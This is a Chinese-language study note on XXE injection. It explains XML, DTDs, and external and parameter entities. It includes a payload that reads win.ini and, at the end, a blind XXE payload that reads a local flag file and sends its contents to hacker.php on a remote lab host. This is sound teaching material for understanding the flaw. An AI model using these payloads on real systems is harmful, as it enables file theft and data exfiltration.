Contents

安全牛XXE学习笔记

0x00 xml、dtd及blind xxe基础

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XML 指可扩展标记语言(Extensible Markup Language)
XML 被设计用来传输和存储数据。
XML语言没有预定义的标签,允许作者定义自己的标签和自己的文档结构。

语法规则:
XML 文档必须有一个根元素
XML 元素都必须有一个关闭标签
XML 标签对大小敏感
XML 元素必须被正确的嵌套
XML 属性值必须加引导

范例:

<?xml version="1.0" encoding="IS0-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Dont forget the meeting!</body>
</note>

实体引用

DTD(文档类型定义)
DTD(文档类型定义)的作用是定义XML 文档的合法构建模块。
DTD 可以在XML 文档内声明,也可以外部引用。

内部声明<!DOCTYPE 根元素[元素声明]>

<?xml version="1.0"?>
<!DOCTYPE note[
 <!ELEMENT note    (to,from,heading,body)>
 <!ELEMENT to      (#PCDATA)>
 <!ELEMENT from    (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body    (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。

外部声明<!DOCTYPE 根元素SYSTEM "文件名">

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

DTD实体构建方式:内部实体声明 <!ENTITY entity-name "entity-value">

<?xml version="1.0"?>
<!DOCTYPE mail[
<!ELEMENT mail (message)>
<!ENTITY hacker "hacker's data">
]>
<mail>
<message>&hacker; </message>
</mail>

DTD实体构建方式:外部实体声明 <!ENTITY entity-name SYSTEM "URI/URL">

<?xml version="1.0"?>
<!DOCTYPE mail[
<!ELEMENT mail (message)>
<!ENTITY hacker SYSTEM "file:///C:/Windows/win.ini">
]>
<mail>
<message>&hacker; </message>
</mail>

外部声明默认协议及php扩展协议

参数实体

参数实体只用于DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root (message)>
<!ENTITY % param1 "<!ENTITY internal 'http://xxx.com'>">
%param1;
]>
<root>
<message>&internal;</message>
</root>

简单利用

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % evil SYSTEM "file:////phpstudy/WwW/bull/xxe/xml/flag.txt" >
<!ENTITY % xxe  SYSTEM "http://172.16.206.99/bull/xxe/xm1/dtd7_2.xml" >
%xxe;
%all;
]>
<foo>&send;</foo>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://172.16.206.99/class/xss_get_cookie/hacker.php?
cookie=%evil;'>">